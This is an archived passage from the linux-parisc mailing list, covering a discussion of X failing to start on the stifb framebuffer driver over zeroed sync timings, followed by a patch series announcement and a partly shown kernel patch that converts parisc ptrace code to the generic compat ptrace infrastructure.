> >>> were changed to zero.

The skeletonfb.c code makes it very clear that the only place where
a mode can be changed is in xxxfb_check_var:

*      Exception to the above rule:  Some drivers have a fixed mode, ie,
*      the hardware is already set at boot up, and cannot be changed.  In
*      this case, it is more acceptable that this function just return
*      a copy of the currently working var (info->var). Better is to not
*      implement this function, as the upper layer will do the copying
*      of the current var for you.
*
*      Note:  This is the only function where the contents of var can be
*      freely adjusted after the driver has been registered. If you find
*      that you have code outside of this function that alters the content
*      of var, then you are doing something wrong.  Note also that the
*      contents of info->var must be left untouched at all times after
*      driver registration.

As xxxfb_check_var is not implemented in stifb.c, it must be the upper
level that is changing the parameters.  Possibly, something to try is
the following:

 *      However, even if your hardware does not support mode changing,
 *      a set_par might be needed to at least initialize the hardware to
 *      a known working state, especially if it came back from another
 *      process that also modifies the same hardware, such as X.
 *
 *      If this is the case, a combination such as the following should work:
 *
 *      static int xxxfb_check_var(struct fb_var_screeninfo *var,
 *                                struct fb_info *info)
 *      {
 *              *var = info->var;
 *              return 0;
 *      }
 *
 *      static int xxxfb_set_par(struct fb_info *info)
 *      {
 *              init your hardware here
 *      }

> But stifb and a few other fb drivers are not able to set sync timings, 
> and for those X behaves IMHO wrong. For those X should assume that the 
> timings set by the driver are correct as long as the resolution and bit 
> depth are correct.
> 
> This is what happens:
> 1. In xorg.conf you configured a pixel resolution and bpp (e.g. 
> 1280x1024-16)
> 2. In xorg.conf you might have configured a monitor (with or without 
> some timing/sync informations)
> 3. X reads those config parameters and try to set them through kernel calls.
> 4. Kernel returns that it now has set up the mode (1280x1024-16) and has 
> set up the timings. Since stifb does not support timing modes, it 
> returns zeros in those values (IMHO thats correct behavior if you look 
> at the comments in skeletonfb.c)
> 5. X verifies the returned values and aborts since the timing values are 
> different to what it fed to the kernel, although the resolution 
> (1280x1024-16) is correctly set and returned like that.
> 
> I think X is right in noticing that the timing/sync values are not what 
> it expected. Nevertheless, I would prefer that it would just warn (in 
> the fbdev drivers only!) that the timings are incorrect instead of 
> aborting completely. X is right to abort, if the pixel resolution and 
> bpp can not be set.
> So, X's tests should be like that:
> a) resolution and bpp different -> abort
> b) resolution and bpp correct, but sync timings/monitor timings 
> different -> warn but continue
> 
> Right now X's tests are:
> resolution, bpp or sync/monitor timings different -> abort.
> 
> Of course it's easily possible to change stifb in that it just takes any 
> timing values, but that is not how it is documented in skeletonfb.

My sense in looking at the PR is that the freedesktop people won't
accept this approach.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Sun, 24 Aug 2008 16:38:26 +0200
Lines: 99
Approved: news@gmane.org
Message-ID: <48B17262.3010206@gmx.de>
References: <20080824140930.309DD431A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219588722 17055 80.91.229.12 (24 Aug 2008 14:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 14:38:42 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 16:39:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXGka-00063P-Fs
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 16:39:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751045AbYHXOi1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 10:38:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751483AbYHXOi1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 10:38:27 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51565 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751045AbYHXOi1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 10:38:27 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 14:38:25 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO halden.box) [89.15.119.223]
  by mail.gmx.net (mp029) with SMTP; 24 Aug 2008 16:38:25 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/WUdtGdELWtSRw5/TqBI/8Hm77zA0P5CsRsUYheP
	MkUNT8laYVXiY7
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080824140930.309DD431A@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.58
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/657>

John David Anglin wrote:
>>>>> As you can see, the main video parameters are OK, while the 
>>>>> monitor/modeline values (pixclock, left_margin, right_margin, 
>>>>> upper_margin, lower_margin, hsync_len, vsync_len, sync and vmode)
>>>>> were changed to zero.
> 
> The skeletonfb.c code makes it very clear that the only place where
> a mode can be changed is in xxxfb_check_var:
> 
> *      Exception to the above rule:  Some drivers have a fixed mode, ie,
> *      the hardware is already set at boot up, and cannot be changed.  In
> *      this case, it is more acceptable that this function just return
> *      a copy of the currently working var (info->var). Better is to not
> *      implement this function, as the upper layer will do the copying
> *      of the current var for you.
> *
> *      Note:  This is the only function where the contents of var can be
> *      freely adjusted after the driver has been registered. If you find
> *      that you have code outside of this function that alters the content
> *      of var, then you are doing something wrong.  Note also that the
> *      contents of info->var must be left untouched at all times after
> *      driver registration.
> 
> As xxxfb_check_var is not implemented in stifb.c, it must be the upper
> level that is changing the parameters.  Possibly, something to try is
> the following:
> 
>  *      However, even if your hardware does not support mode changing,
>  *      a set_par might be needed to at least initialize the hardware to
>  *      a known working state, especially if it came back from another
>  *      process that also modifies the same hardware, such as X.
>  *
>  *      If this is the case, a combination such as the following should work:
>  *
>  *      static int xxxfb_check_var(struct fb_var_screeninfo *var,
>  *                                struct fb_info *info)
>  *      {
>  *              *var = info->var;
>  *              return 0;
>  *      }
>  *
>  *      static int xxxfb_set_par(struct fb_info *info)
>  *      {
>  *              init your hardware here
>  *      }


Yes, exactly that would be the patch to make it work.


>> But stifb and a few other fb drivers are not able to set sync timings, 
>> and for those X behaves IMHO wrong. For those X should assume that the 
>> timings set by the driver are correct as long as the resolution and bit 
>> depth are correct.
>>
>> This is what happens:
>> 1. In xorg.conf you configured a pixel resolution and bpp (e.g. 
>> 1280x1024-16)
>> 2. In xorg.conf you might have configured a monitor (with or without 
>> some timing/sync informations)
>> 3. X reads those config parameters and try to set them through kernel calls.
>> 4. Kernel returns that it now has set up the mode (1280x1024-16) and has 
>> set up the timings. Since stifb does not support timing modes, it 
>> returns zeros in those values (IMHO thats correct behavior if you look 
>> at the comments in skeletonfb.c)
>> 5. X verifies the returned values and aborts since the timing values are 
>> different to what it fed to the kernel, although the resolution 
>> (1280x1024-16) is correctly set and returned like that.
>>
>> I think X is right in noticing that the timing/sync values are not what 
>> it expected. Nevertheless, I would prefer that it would just warn (in 
>> the fbdev drivers only!) that the timings are incorrect instead of 
>> aborting completely. X is right to abort, if the pixel resolution and 
>> bpp can not be set.
>> So, X's tests should be like that:
>> a) resolution and bpp different -> abort
>> b) resolution and bpp correct, but sync timings/monitor timings 
>> different -> warn but continue
>>
>> Right now X's tests are:
>> resolution, bpp or sync/monitor timings different -> abort.
>>
>> Of course it's easily possible to change stifb in that it just takes any 
>> timing values, but that is not how it is documented in skeletonfb.
> 
> My sense in looking at the PR is that the freedesktop people won't
> accept this approach.

Sadly I have the same feeling.
But just scan yourself through the kernel fb drivers and look how many 
drivers haven't implemented this workaround with check_var and set_par.
All those fb drivers are probably broken due to this X behavior.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] - Patch series for parisc
Date: Sun, 24 Aug 2008 20:26:06 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219602384 24802 80.91.229.12 (24 Aug 2008 18:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 18:26:24 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 20:27:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXKIy-0003l0-1m
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 20:27:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752599AbYHXS0L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 14:26:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752709AbYHXS0L
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 14:26:11 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55055 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752599AbYHXS0K (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 14:26:10 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 18:26:09 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp043) with SMTP; 24 Aug 2008 20:26:09 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18OFXdQVH8O7QfBm6qEjSIKfk9orkcONXVfSzeLHy
	P+IRttI7JFk/ZP
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.82
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/658>

The following mails contain patches which I have sent to linux-parisc during 
the last weeks and which have not yet been applied.
I've cleaned them up for Linus' and Kyle's current trees.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] compat_sys_ptrace conversions for parisc
Date: Sun, 24 Aug 2008 20:33:25 +0200
Lines: 537
Approved: news@gmane.org
Message-ID: <200808242033.25481.deller@gmx.de>
References: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219602819 26212 80.91.229.12 (24 Aug 2008 18:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 18:33:39 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 20:34:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXKQ3-0005hS-6k
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 20:34:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752599AbYHXSda (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 14:33:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752661AbYHXSda
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 14:33:30 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:54280 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752599AbYHXSd3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 14:33:29 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 18:33:27 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp017) with SMTP; 24 Aug 2008 20:33:27 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18v6B9lAl0vxMnM9TWSnSvnA1YJEdRWaTruiavkLC
	kYdvTCsXrm+Hmr
User-Agent: KMail/1.9.7
In-Reply-To: <200808242026.06295.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:659
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/659>

This patch does the compat_sys_ptrace conversion for parisc.
In addition it does convert the parisc ptrace code to use the
architecture-independent ptrace infrastructure instead of own coding.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/ptrace.h b/arch/parisc/include/asm/ptrace.h
index 3e94c5d..afa5333 100644
--- a/arch/parisc/include/asm/ptrace.h
+++ b/arch/parisc/include/asm/ptrace.h
@@ -47,6 +47,16 @@ struct pt_regs {
 
 #define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
 
+#define __ARCH_WANT_COMPAT_SYS_PTRACE
+
+struct task_struct;
+#define arch_has_single_step()	1
+void user_disable_single_step(struct task_struct *task);
+void user_enable_single_step(struct task_struct *task);
+
+#define arch_has_block_step()	1
+void user_enable_block_step(struct task_struct *task);
+
 /* XXX should we use iaoq[1] or iaoq[0] ? */
 #define user_mode(regs)			(((regs)->iaoq[0] & 3) ? 1 : 0)
 #define user_space(regs)		(((regs)->iasq[1] != 0) ? 1 : 0)
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 49c6379..90904f9 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -4,6 +4,7 @@
  * Copyright (C) 2000 Hewlett-Packard Co, Linuxcare Inc.
  * Copyright (C) 2000 Matthew Wilcox <matthew@wil.cx>
  * Copyright (C) 2000 David Huggins-Daines <dhd@debian.org>
+ * Copyright (C) 2008 Helge Deller <deller@gmx.de>
  */
 
 #include <linux/kernel.h>
@@ -27,15 +28,149 @@
 /* PSW bits we allow the debugger to modify */
 #define USER_PSW_BITS	(PSW_N | PSW_V | PSW_CB)
 
-#undef DEBUG_PTRACE
+/*
+ * Called by kernel/ptrace.c when detaching..
+ *
+ * Make sure single step bits etc are not set.
+ */
+void ptrace_disable(struct task_struct *task)
+{
+	task->ptrace &= ~(PT_SINGLESTEP|PT_BLOCKSTEP);
 
-#ifdef DEBUG_PTRACE
-#define DBG(x...)	printk(x)
-#else
-#define DBG(x...)
-#endif
+	/* make sure the trap bits are not set */
+	pa_psw(task)->r = 0;
+	pa_psw(task)->t = 0;
+	pa_psw(task)->h = 0;
+	pa_psw(task)->l = 0;
+}
+
+/*
+ * The following functions are called by ptrace_resume() when
+ * enabling or disabling single/block tracing.
+ */
+void user_disable_single_step(struct task_struct *task)
+{
+	ptrace_disable(task);
+}
+
+void user_enable_single_step(struct task_struct *task)
+{
+	task->ptrace &= ~PT_BLOCKSTEP;
+	task->ptrace |= PT_SINGLESTEP;
+
+	if (pa_psw(task)->n) {
+		struct siginfo si;
+
+		/* Nullified, just crank over the queue. */
+		task_regs(task)->iaoq[0] = task_regs(task)->iaoq[1];
+		task_regs(task)->iasq[0] = task_regs(task)->iasq[1];
+		task_regs(task)->iaoq[1] = task_regs(task)->iaoq[0] + 4;
+		pa_psw(task)->n = 0;
+		pa_psw(task)->x = 0;
+		pa_psw(task)->y = 0;
+		pa_psw(task)->z = 0;
+		pa_psw(task)->b = 0;
+		ptrace_disable(task);
+		/* Don't wake up the task, but let the
+		   parent know something happened. */
+		si.si_code = TRAP_TRACE;
+		si.si_addr = (void __user *) (task_regs(task)->iaoq[0] & ~3);
+		si.si_signo = SIGTRAP;
+		si.si_errno = 0;
+		force_sig_info(SIGTRAP, &si, task);
+		/* notify_parent(task, SIGCHLD); */
+		return;
+	}
+
+	/* Enable recovery counter traps.  The recovery counter
+	 * itself will be set to zero on a task switch.  If the
+	 * task is suspended on a syscall then the syscall return
+	 * path will overwrite the recovery counter with a suitable
+	 * value such that it traps once back in user space.  We
+	 * disable interrupts in the tasks PSW here also, to avoid
+	 * interrupts while the recovery counter is decrementing.
+	 */
+	pa_psw(task)->r = 1;
+	pa_psw(task)->t = 0;
+	pa_psw(task)->h = 0;
+	pa_psw(task)->l = 0;
+}
+
+void user_enable_block_step(struct task_struct *task)
+{
+	task->ptrace &= ~PT_SINGLESTEP;
+	task->ptrace |= PT_BLOCKSTEP;
+
+	/* Enable taken branch trap. */
+	pa_psw(task)->r = 0;
+	pa_psw(task)->t = 1;
+	pa_psw(task)->h = 0;
+	pa_psw(task)->l = 0;
+}
+
+long arch_ptrace(struct task_struct *child, long request, long addr, long data)
+{
+	unsigned long tmp;
+	long ret = -EIO;
 
-#ifdef CONFIG_64BIT
+	switch (request) {
+
+	/* Read the word at location addr in the USER area.  For ptraced
+	   processes, the kernel saves all regs on a syscall. */
+	case PTRACE_PEEKUSR:
+		if ((addr & (sizeof(long)-1)) ||
+		    (unsigned long) addr >= sizeof(struct pt_regs))
+			break;
+		tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
+		ret = put_user(tmp, (unsigned long *) data);
+		break;
+
+	/* Write the word at location addr in the USER area.  This will need
+	   to change when the kernel no longer saves all regs on a syscall.
+	   FIXME.  There is a problem at the moment in that r3-r18 are only
+	   saved if the process is ptraced on syscall entry, and even then
+	   those values are overwritten by actual register values on syscall
+	   exit. */
+	case PTRACE_POKEUSR:
+		/* Some register values written here may be ignored in
+		 * entry.S:syscall_restore_rfi; e.g. iaoq is written with
+		 * r31/r31+4, and not with the values in pt_regs.
+		 */
+		if (addr == PT_PSW) {
+			/* Allow writing to Nullify, Divide-step-correction,
+			 * and carry/borrow bits.
+			 * BEWARE, if you set N, and then single step, it won't
+			 * stop on the nullified instruction.
+			 */
+			data &= USER_PSW_BITS;
+			task_regs(child)->gr[0] &= ~USER_PSW_BITS;
+			task_regs(child)->gr[0] |= data;
+			ret = 0;
+			break;
+		}
+
+		if ((addr & (sizeof(long)-1)) ||
+		    (unsigned long) addr >= sizeof(struct pt_regs))
+			break;
+		if ((addr >= PT_GR1 && addr <= PT_GR31) ||
+				addr == PT_IAOQ0 || addr == PT_IAOQ1 ||
+				(addr >= PT_FR0 && addr <= PT_FR31 + 4) ||
+				addr == PT_SAR) {
+			*(unsigned long *) ((char *) task_regs(child) + addr) = data;
+			ret = 0;
+		}
+		break;
+
+	default:
+		ret = ptrace_request(child, request, addr, data);
+		break;
+	}
+
+	return ret;
+}
+
+
+#ifdef CONFIG_COMPAT
 
 /* This function is needed to translate 32 bit pt_regs offsets in to
  * 64 bit pt_regs offsets.  For example, a 32 bit gdb under a 64 bit kernel
@@ -61,106 +196,25 @@ static long translate_usr_offset(long offset)
 	else
 		return -1;
 }
-#endif
 
-/*
- * Called by kernel/ptrace.c when detaching..
- *
- * Make sure single step bits etc are not set.
- */
-void ptrace_disable(struct task_struct *child)
+long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
+			compat_ulong_t addr, compat_ulong_t data)
 {
-	/* make sure the trap bits are not set */
-	pa_psw(child)->r = 0;
-	pa_psw(child)->t = 0;
-	pa_psw(child)->h = 0;
-	pa_psw(child)->l = 0;
-}
-
-long arch_ptrace(struct task_struct *child, long request, long addr, long data)
-{
-	long ret;
-#ifdef DEBUG_PTRACE
-	long oaddr=addr, odata=data;
-#endif
+	compat_uint_t tmp;
+	long ret = -EIO;
 
 	switch (request) {
-	case PTRACE_PEEKTEXT: /* read word at location addr. */ 
-	case PTRACE_PEEKDATA: {
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			int copied;
-			unsigned int tmp;
-
-			addr &= 0xffffffffL;
-			copied = access_process_vm(child, addr, &tmp, sizeof(tmp), 0);
-			ret = -EIO;
-			if (copied != sizeof(tmp))
-				goto out_tsk;
-			ret = put_user(tmp,(unsigned int *) data);
-			DBG("sys_ptrace(PEEK%s, %d, %lx, %lx) returning %ld, data %x\n",
-				request == PTRACE_PEEKTEXT ? "TEXT" : "DATA",
-				pid, oaddr, odata, ret, tmp);
-		}
-		else
-#endif
-			ret = generic_ptrace_peekdata(child, addr, data);
-		goto out_tsk;
-	}
 
-	/* when I and D space are separate, this will have to be fixed. */
-	case PTRACE_POKETEXT: /* write the word at location addr. */
-	case PTRACE_POKEDATA:
-		ret = 0;
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			unsigned int tmp = (unsigned int)data;
-			DBG("sys_ptrace(POKE%s, %d, %lx, %lx)\n",
-				request == PTRACE_POKETEXT ? "TEXT" : "DATA",
-				pid, oaddr, odata);
-			addr &= 0xffffffffL;
-			if (access_process_vm(child, addr, &tmp, sizeof(tmp), 1) == sizeof(tmp))
-				goto out_tsk;
-		}
-		else
-#endif
-		{
-			if (access_process_vm(child, addr, &data, sizeof(data), 1) == sizeof(data))
-				goto out_tsk;
-		}
-		ret = -EIO;
-		goto out_tsk;
-
-	/* Read the word at location addr in the USER area.  For ptraced
-	   processes, the kernel saves all regs on a syscall. */
-	case PTRACE_PEEKUSR: {
-		ret = -EIO;
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			unsigned int tmp;
-
-			if (addr & (sizeof(int)-1))
-				goto out_tsk;
-			if ((addr = translate_usr_offset(addr)) < 0)
-				goto out_tsk;
-
-			tmp = *(unsigned int *) ((char *) task_regs(child) + addr);
-			ret = put_user(tmp, (unsigned int *) data);
-			DBG("sys_ptrace(PEEKUSR, %d, %lx, %lx) returning %ld, addr %lx, data %x\n",
-				pid, oaddr, odata, ret, addr, tmp);
-		}
-		else
-#endif
-		{
-			unsigned long tmp;
+	case PTRACE_PEEKUSR:
+		if (addr & (sizeof(compat_uint_t)-1))
+			break;
+		addr = translate_usr_offset(addr);
+		if (addr < 0)
+			break;
 
-			if ((addr & (sizeof(long)-1)) || (unsigned long) addr >= sizeof(struct pt_regs))
-				goto out_tsk;
-			tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
-			ret = put_user(tmp, (unsigned long *) data);
-		}
-		goto out_tsk;
-	}
+		tmp = *(compat_uint_t *) ((char *) task_regs(child) + addr);
+		ret = put_user(tmp, (compat_uint_t *) (unsigned long) data);
+		break;
 
 	/* Write the word at location addr in the USER area.  This will need
 	   to change when the kernel no longer saves all regs on a syscall.
@@ -169,185 +223,46 @@ long arch_ptrace(struct task_struct *child, long request, long addr, long data)
 	   those values are overwritten by actual register values on syscall
 	   exit. */
 	case PTRACE_POKEUSR:
-		ret = -EIO;
 		/* Some register values written here may be ignored in
 		 * entry.S:syscall_restore_rfi; e.g. iaoq is written with
 		 * r31/r31+4, and not with the values in pt_regs.
 		 */
-		 /* PT_PSW=0, so this is valid for 32 bit processes under 64
-		 * bit kernels.
-		 */
 		if (addr == PT_PSW) {
-			/* PT_PSW=0, so this is valid for 32 bit processes
-			 * under 64 bit kernels.
-			 *
-			 * Allow writing to Nullify, Divide-step-correction,
-			 * and carry/borrow bits.
-			 * BEWARE, if you set N, and then single step, it won't
-			 * stop on the nullified instruction.
+			/* Since PT_PSW==0, it is valid for 32 bit processes
+			 * under 64 bit kernels as well.
 			 */
-			DBG("sys_ptrace(POKEUSR, %d, %lx, %lx)\n",
-				pid, oaddr, odata);
-			data &= USER_PSW_BITS;
-			task_regs(child)->gr[0] &= ~USER_PSW_BITS;
-			task_regs(child)->gr[0] |= data;
-			ret = 0;
-			goto out_tsk;
-		}
-#ifdef CONFIG_64BIT
-		if (__is_compat_task(child)) {
-			if (addr & (sizeof(int)-1))
-				goto out_tsk;
-			if ((addr = translate_usr_offset(addr)) < 0)
-				goto out_tsk;
-			DBG("sys_ptrace(POKEUSR, %d, %lx, %lx) addr %lx\n",
-				pid, oaddr, odata, addr);
+			ret = arch_ptrace(child, request, addr, data);
+		} else {
+			if (addr & (sizeof(compat_uint_t)-1))
+				break;
+			addr = translate_usr_offset(addr);
+			if (addr < 0)
+				break;
 			if (addr >= PT_FR0 && addr <= PT_FR31 + 4) {
 				/* Special case, fp regs are 64 bits anyway */
-				*(unsigned int *) ((char *) task_regs(child) + addr) = data;
+				*(__u64 *) ((char *) task_regs(child) + addr) = data;
 				ret = 0;
 			}
 			else if ((addr >= PT_GR1+4 && addr <= PT_GR31+4) ||
 					addr == PT_IAOQ0+4 || addr == PT_IAOQ1+4 ||
 					addr == PT_SAR+4) {
 				/* Zero the top 32 bits */
-				*(unsigned int *) ((char *) task_regs(child) + addr - 4) = 0;
-				*(unsigned int *) ((char *) task_regs(child) + addr) = data;
+				*(__u32 *) ((char *) task_regs(child) + addr - 4) = 0;
+				*(__u32 *) ((char *) task_regs(child) + addr) = data;
 				ret = 0;
 			}
-			goto out_tsk;
 		}
-		else
-#endif
-		{
-			if ((addr & (sizeof(long)-1)) || (unsigned long) addr >= sizeof(struct pt_regs))
-				goto out_tsk;
-			if ((addr >= PT_GR1 && addr <= PT_GR31) ||
-					addr == PT_IAOQ0 || addr == PT_IAOQ1 ||
-					(addr >= PT_FR0 && addr <= PT_FR31 + 4) ||
-					addr == PT_SAR) {
-				*(unsigned long *) ((char *) task_regs(child) + addr) = data;
-				ret = 0;
-			}
-			goto out_tsk;
-		}
-
-	case PTRACE_SYSCALL: /* continue and stop at next (return from) syscall */
-	case PTRACE_CONT:
-		ret = -EIO;
-		DBG("sys_ptrace(%s)\n",
-			request == PTRACE_SYSCALL ? "SYSCALL" : "CONT");
-		if (!valid_signal(data))
-			goto out_tsk;
-		child->ptrace &= ~(PT_SINGLESTEP|PT_BLOCKSTEP);
-		if (request == PTRACE_SYSCALL) {
